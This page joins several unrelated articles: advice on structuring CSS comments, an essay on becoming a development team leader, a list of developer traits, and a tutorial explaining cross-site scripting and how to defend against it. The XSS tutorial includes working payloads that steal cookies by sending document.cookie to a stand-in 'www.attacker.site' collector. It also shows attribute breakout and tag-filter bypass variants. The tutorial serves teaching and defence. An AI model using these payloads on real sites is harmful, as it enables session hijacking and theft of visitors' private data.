Share your knowledge and create a knowledgebase.
Share your knowledge and create a knowledgebase.
Once your latest project is finished, you are very likely to forget the structure of the project’s layout, with all its numerous classes, color schemes and type setting. To understand your code years after you’ve written it you need to make use of sensible code structuring. The latter can dramatically reduce complexity, improve code management and consequently simplify maintainability. However, how can you achieve sensible structuring? Well, there are a number of options. For instance, you can make use of comments — after all, there is always some area for useful hints, notes and, well, comments you can use afterwards, after the project has been deployed.
Indeed, developers came up with quite creative ways to use comments and text formatting to improve the maintainability of CSS-code. Such creative ways are usually combined into CSS styleguides — pieces of CSS-code which are supposed to provide developers with useful insights into the structure of the code and background information related to it.
This article presents 5 coding techniques which can dramatically improve management and simplify maintainability of your code. You can apply them to CSS, but also to any other stylesheet or programming language you are using.
1. Divide and conquer your code
First consider the structure of your layout and identify the most important modules in your CSS-code. In most cases it’s useful to choose the order of CSS-selectors according to the order of divisors (div’s) and classes in your layout. Before starting coding, group common elements in separate sections and title each group. For instance, you can select Global Styles (body, paragraphs, lists, etc), Layout, Headings, Text Styles, Navigation, Forms, Comments and Extras.
To clearly separate fragments of code, select appropriate flags or striking comments (the more *-symbols you have in your code, the more striking a heading is). In the stylesheet they will serve as a heading for each group. Before applying a preferred flag to your code, make sure you can immediately recognize single blocks when scanning through the code.
However, this approach might not be enough for large projects where a single module is too big. If it is the case, you might need to divide your code in multiple files to maintain overview of single groups of code fragments. In such situations master stylesheet is used to import groups. Using master-stylesheet you generate some unnecessary server requests, but the approach produces a clean and elegant code which is easy to reuse, easy to understand and also easy to maintain. And you also need to include only the master-file in your documents.
/*——————————————————————
[Master Stylesheet]
Project: Smashing Magazine
Version: 1.1
Last change: 05/02/08 [fixed Float bug, vf]
Assigned to: Vitaly Friedman (vf), Sven Lennartz (sl)
Primary use: Magazine
——————————————————————-*/
@import "reset.css";
@import "layout.css";
@import "colors.css";
@import "typography.css";
@import "flash.css";
/* @import "debugging.css"; */
For large projects or large development team it is also useful to have a brief update log and some additional information about the project — e.g. you can put the information about who is this CSS-file assigned to and what is its primary use (e.g. Smashing Magazine, Smashing Jobs etc.).
Additionally, you can include a debugging CSS-code to take care of diagnostic styling in case you run in some problems. Consider using Eric Meyer’s Diagnostic Styling as a debugging stylesheet to test your CSS-code and fix problems.
2. Define a table of contents
To keep an overview of the structure of your code, you might want to consider defining a table of contents in the beginning of your CSS-files. One possibility of integrating a table of contents is to display a tree overview of your layout with IDs and classes used in each branch of the tree. You may want to use some keywords such as header-section or content-group to be able to jump to specific code immediately.
You may also select some important elements you are likely to change frequently — after the project is released. These classes and IDs may also appear in your table of contents, so once you’ll need to find them you’ll find them immediately — without scanning your whole code or remembering what class or ID you once used.
/*——————————————————————
[Layout]
* body
+ Header / #header
+ Content / #content
- Left column / #leftcolumn
- Right column / #rightcolumn
- Sidebar / #sidebar
- RSS / #rss
- Search / #search
- Boxes / .box
- Sideblog / #sideblog
+ Footer / #footer
Navigation #navbar
Advertisements .ads
Content header h2
——————————————————————-*/
…or like this:
/*——————————————————————
[Table of contents]
1. Body
2. Header / #header
2.1. Navigation / #navbar
3. Content / #content
3.1. Left column / #leftcolumn
3.2. Right column / #rightcolumn
3.3. Sidebar / #sidebar
3.3.1. RSS / #rss
3.3.2. Search / #search
3.3.3. Boxes / .box
3.3.4. Sideblog / #sideblog
3.3.5. Advertisements / .ads
4. Footer / #footer
——————————————————————-*/
Another approach is to use simple enumeration without indentation. In the exampe below, once you need to jump to the RSS-section you simply use a search tool to find 8. RSS in your code. That’s easy, quick and effective.
/*——————————————————————
[Table of contents]
1. Body
2. Header / #header
3. Navigation / #navbar
4. Content / #content
5. Left column / #leftcolumn
6. Right column / #rightcolumn
7. Sidebar / #sidebar
8. RSS / #rss
9. Search / #search
10. Boxes / .box
11. Sideblog / #sideblog
12. Advertisements / .ads
13. Footer / #footer
——————————————————————-*/
<!– some CSS-code –>
/*——————————————————————
[8. RSS / #rss]
*/
#rss { … }
#rss img { … }
Defining a table of contents you make it particularly easier for other people to read and understand your code. For large projects you may also print it out and have it in front of you when reading the code. When working in team, this advantage shouldn’t be underestimated. It can save a lot of time — for you and your colleagues.
3. Define your colors and typography
Since we don’t have CSS constants yet, we need to figure out some way to get a quick reference of “variables” we are using. In web development colors and typography can often be considered as “constants” — fixed values that are used throughout the code multiple times.
As Rachel Andrew states, “one way to get round the lack of constants in CSS is to create some definitions at the top of your CSS file in comments, to define constants. A common use for this is to create a color glossary. This means that you have a quick reference to the colors used in the site to avoid using alternates by mistake and, if you need to change the colors, you have a quick list to go down and do a search and replace.”
/*——————————————————————
# [Color codes]
# Dark grey (text): #333333
# Dark Blue (headings, links) #000066
# Mid Blue (header) #333399
# Light blue (top navigation) #CCCCFF
# Mid grey: #666666
# */
Alternatively, you can also describe color codes used in your layout. For a given color, you can display sections of your site which are using this color. Or vice versa — for a given design element you can describe the colors which are used there.
/*——————————————————————
[Color codes]
Background: #ffffff (white)
Content: #1e1e1e (light black)
Header h1: #9caa3b (green)
Header h2: #ee4117 (red)
Footer: #b5cede (dark black)
a (standard): #0040b6 (dark blue)
a (visited): #5999de (light blue)
a (active): #cc0000 (pink)
——————————————————————-*/
The same holds for typography. You can also add some important notes to understand the “system” behind your definitions.
/*——————————————————————
[Typography]
Body copy: 1.2em/1.6em Verdana, Helvetica, Arial, Geneva, sans-serif;
Headers: 2.7em/1.3em Helvetica, Arial, "Lucida Sans Unicode", Verdana, sans-serif;
Input, textarea: 1.1em Helvetica, Verdana, Geneva, Arial, sans-serif;
Sidebar heading: 1.5em Helvetica, Trebuchet MS, Arial, sans-serif;
Notes: decreasing heading by 0.4em with every subsequent heading level
——————————————————————-*/
4. Order CSS properties
When writing the code often it’s useful to apply some special formatting to order CSS properties — to make the code more readable, more structured and therefore more intuitive. There is a variety of grouping schemes developers use in their projects. Some developers tend to put colors and fonts first; other developers prefer to put “more important” assignments such as those related to positioning and floats first. Similarly, elements are also often sorted according to the topology of the site and the structure of the layout. This approach can be applied to CSS selectors as well:
body,
h1, h2, h3,
p, ul, li,
form {
border: 0;
margin: 0;
padding: 0;
}
Some developers use a more interesting approach — they group properties in an alphabetical order. Here it’s important to mention that alphabetizing CSS properties may lead to some problems in some browsers. You may need to make sure that no changes are produced as a result of your ordering manipulations.
body {
background: #fdfdfd;
color: #333;
font-size: 1em;
line-height: 1.4;
margin: 0;
padding: 0;
}
Whatever grouping format you are using, make sure you clearly define the format and the objective you want to achieve. Your colleagues will thank you for your efforts. And you’ll thank them for sticking to your format.
5. Indentation is your friend!
For better overview of your code you might consider using one-liners for brief fragments of code. This style might produce messy results if you define more than 3 attributes for a given selector. However, used moderately, you can highlight dependencies between all elements of the same class. This technique will dramatically increase code readability when you have to find some specific element in your stylesheet.
#main-column { display: inline; float: left; width: 30em; }
#main-column h1 { font-family: Georgia, "Times New Roman", Times, serif; margin-bottom: 20px; }
#main-column p { color: #333; }
You remember exactly what you did and can jump back in there and fix it. But what if you made a lot of changes that day, or you just simply can’t remember? Chris Coyier suggests an interesting solution for highlighting recent changes in your CSS-code. Simply indenting new or changed lines in your CSS you can make recent changes in your code more visible. You can as well use some comments keywords (e.g. @new) — you’ll be able to jump to the occurrences of the keyword and undo changes once you’ve found some problems.
#sidebar ul li a {
display: block;
background-color: #ccc;
border-bottom: 1px solid #999; /* @new */
margin: 3px 0 3px 0;
padding: 3px; /* @new */
}
Conclusion
CSS styleguides are helpful if and only if they are used properly. Keep in mind that you should remove every styleguide which doesn’t effectively help you to get a better understanding of the code or achieve a well-structured code. Avoid too many styleguides for too many elements bundled in too many groups. Your goal is to achieve a readable and maintainable code. Stick to it and you’ll save yourself a lot of trouble.
I’d like to become a Development Team Leader
Hopefully most will have actually considered the change of role and be looking for new challenges and ways to contribute more to their chosen profession. However, for some this is an automatic response to a question that is particularly difficult to answer in an industry with no clear career path. For others it’s simply a way to move up the pay scale.
Before you start talking to your manager or applying for your next job it’s worth considering what you’re getting yourself into. Depending on where you work there will be different definitions of a Development Team Leader (DTL). To put this post in perspective this is my interpretation,
A Development Team Leader is someone who owns the technical delivery of a solution. They need to understand the business drivers behind the project and be able to lead a team of Developers to realise these drivers in working software.They are (IMHO) the central player in a project team and need to maintain excellent communication with all members of the team from Client to Developers and everyone in between.
I tend to distinguish between what I call a Senior Developer (SD) and a DTL. A SD is someone who still does the tasks of a developer but does them really well and has lots of experience. They don’t tend to have the added responsibilities of a DTL. DTL’s often (but not necessarily) have a SD background.
Assuming you’re a developer this is what I reckon your job entails.
Let’s face it the life of your average developer is focused around cutting code. Sure you might have daily Scrums or other team meetings to attend but your main focus is writing software. And you love it!
When you become a DTL you work balance is up for a bit of a change.
Other than the coding slice don’t place to much attention on the relative weights of the pie slices - suffice to say you won’t be zoning out for 8 hours a day to your favourite tunes - you’re the one that gets interrupted, you’re the one putting out the fires and making sure the wheels are oiled. Your head is on the line if the solution doesn’t meet expectations or is delivered late. You have some responsibilities and influence now.
Coding - don’t worry, you still get to practice your craft but just not as much as you used to. There are now lots of other things that you need to be involved in too.
Documentation - even with the increasing popularity of Agile methodologies and a move away from excessive documentation there are still times when (technical) documentation is necessary - and guess what? You will be first in line to do it.
Meetings - if you thought you were in lots of meetings as a developer then you ain’t seen nothing yet. Depending on the size of the project you are involved in you will be the main participant in a wide variety of meetings. Whether it’s a meeting with the client, the delivery team, the PM, you are the one with the most knowledge of both the requirements and the implementation of the solution.
Communications - beyond official meetings you will also be heavily involved with communicating to others via emails, issue tracking software, the phone and face to face catch ups on progress. It’s a bit of a cliche but good communication skills really are the key to succeeding in many professions - and for any leadership role it’s essential.
Delegation - because of your other duties it’s an essential part of your role to be able to delegate work to others. Someone once told me that the job of the DTL is to make themselves redundant - an apparent contradiction to your pivotal role on the project but one that sums up the responsibility you have to ensure the project moves forward even when you can’t personally be there to solve an issue. The more you delegate responsibility to others in your team the more involved and productive they become. Don’t try and do everything yourself.
Mentoring - part of reason for delegating tasks to others is to provide them with opportunities for personal growth and development. Mentoring carries this idea further and is a key part of your role. No-one is an island and you must be prepared to share your knowledge with others. As an aside you should also be prepared to learn from your team - DTL’s who think they know it all are usually wrong and always disruptive to the morale and effectiveness of the team.
How to Become a Development Team Leader?
As Development Manager to a team of incredibly motivated and talented individuals I often have conversations that begin,
Hey Tokes, I really want to move my career to the next step and want to know what I can do to become a Development Team Leader.
My response,
Act like one!
That’s right, it’s that simple. Wherever possible take it upon yourself to assume some of the tasks that would normally be expected of a DTL. The more DTL skills you display the more likely others will see you in that light and give you the opportunity to perform the role for real. Whatever you do, don’t sit quietly behind your desk with the headphones on and expect someone to recognise your leadership potential and tap you on the shoulder - it won’t happen. Similarly don’t assume that because you’re a technical genius that becoming a DTL is the natural next step in your career or something you deserve in recognition of your talents. The skills of a DTL go beyond the technical and require you to have other skills like great communication, the ability to delegate, confidence, being level headed, acting in a professionalism manner…
So what can you do I hear you ask? You’re only a developer, right? Wrong, the act of developing is only part of what you have to offer.
Let it Be Known - it seems obvious but you should let your manager/PM/peers or anyone else who will listen that you want to become a DTL. Don’t be a nag about it but just plant the seed in people’s minds.
Understand the Big Picture - one of the big differences between a good developer and a great one is their ability (or interest) to understand the big picture. They understand the business goals and pain points the system is addressing. They understand the entire solution, not just their part of it. They understand how the code they are writing benefits the client and the solution as a whole. They understand the client and what is important to them. They understand that the code is a means to an end and that project success will be primarily measured by client satisfaction.
Ask Questions - I love working with people who ask questions. It shows you are attempting to understand things thoroughly. It shows you’re not afraid to question why something is being done in a certain way. It show’s, that as a DTL, I’m not the only one thinking things through and that there’s more chance the team is on the right track. Understanding the Big Picture is crucial to being able to ask the right questions.
Don’t Wait to Be Asked - while you should always be on top of the tasks delegated to you, don’t stop there. Be hungry like a wolf, hunting out ways in which you can add value, help others and identify issues. Do not wait for your own DTL to ask you to do something, try and always be one step ahead without, of course, second guessing their authority.
Be Approachable - DTL’s are often the go-to guys (or gals) but they’re also pulled away from the team to attend meetings etc. Be approachable (i.e. take off the headphones now and then!) and aim to be the one people seek out when the DTL’s away - this is a great sign that you have the respect of the team. If you’re doing the things above this will be a natural consequence and shouldn’t require you to do anything specific.
Stay Calm - what was it that Mr Kipling said? "If you can keep your head when all about you Are losing theirs… you’ll be a DTL my son!". Software development can be a stressful business. Look around at DTL’s you respect - guaranteed they will be the level headed ones, the ones that don’t let the pressure get the better of them (or at least are good at hiding it!)
Shouldn’t we all be performing at the same level? Of course not, we’re not sewing buttons on an assembly line. We’re using every bit of our intelligence to create something that we can only begin to understand.
* I think logically. Computers don’t care how you feel, and your opinion doesn’t matter. All that matters is if you write your code exactly the way the computer dictates.
* I constantly look for better ways of doing things. I subscribe to a good number of development blogs. I alone cannot always come up with the best way to solve a problem, but somebody somewhere probably can.
* I read books. Joel says that most programmers have stopped reading books. What a shame. Blogs are great for snippets, but it’s rare that they cover a topic well from start to finish. Blogs are the ADD version of books.
* I don’t stop thinking about problems and how to solve them through automation. Sometimes I’ll wake up in the middle of the night, and I can’t get back to sleep until I write some code that I can’t get out of my head.
* I have side projects that I think are interesting, and give me a chance to try things that I might not want to try on my production code at work. Yes, my side projects distract me at work, but the knowledge I gain pays back the time I lost.
* I have a tech blog. I suggest all developers start a blog and give back to the community. If you solve a problem, we want to hear about it! At the very least, it will give you an opportunity to formalize your ideas, which will either reinforce them, or make you realize you were wrong. You might also get some great feedback.
* I try to prove myself wrong (aka objective). Everyone wants to be right. I try to prove myself wrong when appropriate. One of the hardest things in the world for a developer to do is say that the code they just spent a week writing is useless. Maybe it is, don’t fight it, work with it.
* I keep up with the latest technologies, and force myself to try them.
* I have a relatively good understanding of how the computer hardware and software works. I’ve met too many developers that barely know how to turn on a computer.
* I’m great at writing Google queries.
* I’m not just in it for the money. I actually enjoy what I do. I had a job interview where the guy that would have been my boss told me a story about how he was brought in off the street and thrown into managing their software projects. When the software industry starts getting rough, who do you think is the first person to go?
* I’m sympathetic to the users pain. If I can share their pain, I’ll want to fix it and prevent it.
* I realize my code will never be perfect, so I try to make it testable and modular. I set up processes that try to minimize the effect of my human error.
* I don’t think Microsoft is evil, and I don’t think they’re a saint. They’re a big company. Some of the stuff they write is crap, some is amazing. The same is true for any other company out there.
* I learn from my mistakes. I try to put at least 2 checks in place to avoid any past mistakes. If one check fails, I’ll have the other.
* When I’m asked to solve a problem, I think above the problem, and determine if it’s a problem that even needs solved.
Cross-site scripting (XSS for short) is one of the most common application-level attacks that hackers use to sneak into Web applications. XSS is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Most attacks involve two parties: either the attacker and the Web site or the attacker and the client victim. Unlike those, the XSS attack involves three parties: the attacker, the client, and the Web site.
The goal of the XSS attack is to steal the client cookies or any other sensitive information that can identify the client with the Web site. With the token of the legitimate user in hand, the attacker can proceed to act as the user in interaction with the site, thus to impersonate the user. For example, in one audit conducted for a large company, it was possible to peek at the user’s credit card number and private information by using an XSS attack. This was achieved by running malicious JavaScript code on the victim (client) browser, with the access privileges of the Web site. These are the very limited JavaScript privileges that generally do not let the script access anything but site-related information. It is important to stress that, although the vulnerability exists at the Web site, at no time is the Web site directly harmed. Yet this is enough for the script to collect the cookies and send them to the attacker. As a result, the attacker gets the cookies and impersonates the victim.
Explanation of the XSS technique
Let’s call the site under attack: www.vulnerable.site. At the core of a traditional XSS attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it (thus not making sure that it doesn’t contain JavaScript code nor HTML tags. Suppose, therefore, that this script is named welcome.cgi, and its parameter is name. It can be operated this way:
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
The response would be:
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system
…
</HTML>
How can this be abused? Well, the attacker manages to lure the victim client into clicking a link that the attacker supplies to the user. This is a carefully and maliciously crafted link that causes the Web browser of the victim to access the site (www.vulnerable.site) and invoke the vulnerable script. The data to the script consists of JavaScript that accesses the cookies that the client browser has stored for www.vulnerable.site. This is allowed because the client browser "experiences" the JavaScript coming from www.vulnerable.site, and JavaScript security model allows scripts arriving from a particular site to access cookies that belong to that site.
Such a link looks like this one:
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site …
The vulnerable site response would be:
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system …
</HTML>
The victim client’s browser would interpret this response as an HTML page containing a piece of JavaScript code. This code, when executed, is allowed to access all cookies belonging to www.vulnerable.site. Therefore, it will pop up a window at the client browser showing all client cookies belonging to www.vulnerable.site.
Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a Web site (www.attacker.site) and use a script to receive the cookies. Instead of popping up a window, the attacker would write code that accesses a URL at www.attacker.site, thereby invoking the cookie-reception script, with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server.
The malicious link would be:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
.cgi?cookie="%2Bdocument.cookie)</script>
And the response page would look like:
<HTML> <Title>Welcome!</Title> Hi
<script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
<BR>
Welcome to our system … </HTML>
The browser, immediately upon loading this page, would execute the embedded JavaScript and send a request to the collect.cgi script in www.attacker.site, with the value of the cookies of www.vulnerable.site that the browser already has. This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached.
Note:
Causing the JavaScript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to an XSS attack. If the JavaScript Alert function can be called, there is usually no reason for the window.open call not to succeed. That is why most examples for XSS attacks use the Alert function, which makes it very easy to detect its success.
Scope and feasibility
The attack can take place only at the victim’s browser, the same one used to access the site (www.vulnerable.site). The attacker needs to force the client to access the malicious link. This can happen in these ways:
* The attacker sends an e-mail message containing an HTML page that forces the browser to access the link. This requires the victim to use the HTML-enabled e-mail client, and the HTML viewer at the client is the same browser that is used for accessing www.vulnerable.site.
* The client visits a site, perhaps operated by the attacker, where a link to an image or otherwise-active HTML forces the browser to access the link. Again, it is mandatory that the same browser be used for accessing both this site and www.vulnerable.site.
The malicious JavaScript can access any of this information:
* Permanent cookies (of www.vulnerable.site) maintained by the browser
* RAM cookies (of www.vulnerable.site) maintained by this instance of the browser, only when it is currently browsing www.vulnerable.site
* Names of other windows opened for www.vulnerable.site
* Any information that is accessible through the current DOM (from values, HTML code, and so forth)
Identification, authentication, and authorization tokens are usually maintained as cookies. If these cookies are permanent, the victim is vulnerable to the attack even when not using the browser at the moment to access www.vulnerable.site. If, however, the cookies are temporary, such as RAM cookies, then the client must be in session with www.vulnerable.site.
Anther possible implementation for an identification token is a URL parameter. In such cases, it is possible to access other windows by using JavaScript in this way (assuming that the name of the page with the necessary URL parameters is foobar):
<script>var victim_window=open(",’foobar’);alert(’Can access:
‘ +victim_window.location.search)</script>
Variations on this theme
It is possible to use many HTML tags, beside <SCRIPT> to run the JavaScript. In fact, it is also possible for the malicious JavaScript code to reside on another server and to force the client to download the script and execute it, which can be useful if a lot of code is to be run or when the code contains special characters.
A couple of variations on these possibilities:
* Rather than <script>…</script>, hackers can use <img src="javascript:…">. This is good for sites that filter the <script> HTML tag.
* Rather than <script>…</script>, it is possible to use <script src="http://…">. This is good for a situation where the JavaScript code is too long or when it contains forbidden characters.
Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to "escape" to the free context, and then to append the XSS attack. For example, if the data is injected as a default value of an HTML form field:
…
<input type=text name=user value="…">
…
Then it is necessary to include "> in the beginning of the data to ensure escaping to the free HTML context. The data would be:
"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
And the resulting HTML would be:
…
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
…
Other ways to perform traditional XSS attacks
So far, we have seen that an XSS attack can take place in a parameter of a GET request that is echoed back to the response by a script. But it is also possible to carry out the attack with a POST request or by using the path component of the HTTP request — and even by using some HTTP headers (such as the Referer).
In particular, the path component is useful when an error page returns the erroneous path. In this case, including the malicious script in the path will often execute it. Many Web servers are found vulnerable to this attack.
What went wrong?
It is important to understand that, although the Web site is not directly affected by this attack (it continues to function normally, malicious code is not executed on the site, no DoS condition occurs, and data is not directly manipulated nor read from the site), it is still a flaw in the privacy that the site offers its visitors, or clients. This is just like a site deploying an application with weak security tokens, whereby an attacker can guess the security token of a client and impersonate him or her.
The weak spot in the application is the script that echoes back its parameter, regardless of its value. A good script makes sure that the parameter is of a proper format, contains reasonable characters, and so on. There is usually no good reason for a valid parameter to include HTML tags or JavaScript code, and these should be removed from the parameter before it is embedded in the response or before processing it in the application, to be on the safe side.
How to secure a site against XSS attacks
It is possible to secure a site against an XSS attack in three ways:
1. By performing in-house input filtering (sometimes called input sanitation). For each user input — be it a parameter or an HTTP header — in each script written in-house, advanced filtering against HTML tags, including JavaScript code, should be applied. For example, the welcome.cgi script from the previous case study should filter the <script> tag after it is through decoding the name parameter. This method has some severe downsides, though:
* It requires the application programmer to be well-versed in security.
* It requires the programmer to cover all possible input sources (query parameters, body parameters of POST requests, HTTP headers).
* It cannot defend against vulnerabilities in third-party scripts or servers. For example, it won’t defend against problems in error pages in Web servers (which display the path of the resource).
2. By performing "output filtering," that is, filtering the user data when it is sent back to the browser, rather than when it is received by a script. A good example for this would be a script that inserts the input data to a database and then presents it. In this case, it is important not to apply the filter to the original input string, but only to the output version. The drawbacks are similar to the ones for input filtering.
3. By installing a third-party application firewall, which intercepts XSS attacks before they reach the Web server and the vulnerable scripts, and blocks them. Application firewalls can cover all input methods in a generic way (including path and HTTP headers), regardless of the script or path from the in-house application, a third-party script, or a script describing no resource at all (for example, one designed to provoke a 404 page response from the server). For each input source, the application firewall inspects the data against various HTML tag patterns and JavaScript patterns. If any match, the request is rejected, and the malicious input does not arrive at the server.
Ways to check whether your site is protected from XSS
Checking that a site is secure from XSS attacks is the logical conclusion of securing the site. Just like securing a site against XSS, checking that the site is indeed secure can be done manually (the hard way) or by using an automated Web application vulnerability-assessment tool, which offloads the burden of checking. The tool crawls the site and then launches all the variants that it knows against all of the scripts that it found by trying the parameters, the headers, and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations as possible, and if the response page contains the JavaScript code in a context where the browser can execute it, then an XSS vulnerability is exposed. For example, sending this text:
<script>alert(document.cookie)</script>
to each parameter of each script (through a JavaScript-enabled browser to reveal an XSS vulnerability of the simplest kind) the browser will pop up the JavaScript Alert window if the text is interpreted as JavaScript code. Of course, there are several variants; therefore, testing only that variant is insufficient. And, as you already learned, it is possible to inject JavaScript into various fields of the request: the parameters, the HTTP headers, and the path. However, in some cases (notably the HTTP Referer header), it is awkward to carry out the attack by using a browser.
Summary
Cross-site scripting is one of the most common application-level attacks that hackers use to sneak into Web applications, as well as one of the most dangerous. It is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Unfortunately, as this article explains, this is often done without the knowledge of either the client or the organization being attacked.
To prevent Web sites being vulnerable to these malicious acts, it is critical that an organization implement both an online and offline security strategy. This includes using an automated vulnerability-assessment tool that can test for all of the common Web vulnerabilities and application-specific vulnerabilities (such as cross-site scripting) on a site. For a full online defense, it is also vital to install a firewall application that can detect and defend against any type of manipulation to the code and content sitting on and behind the Web servers.
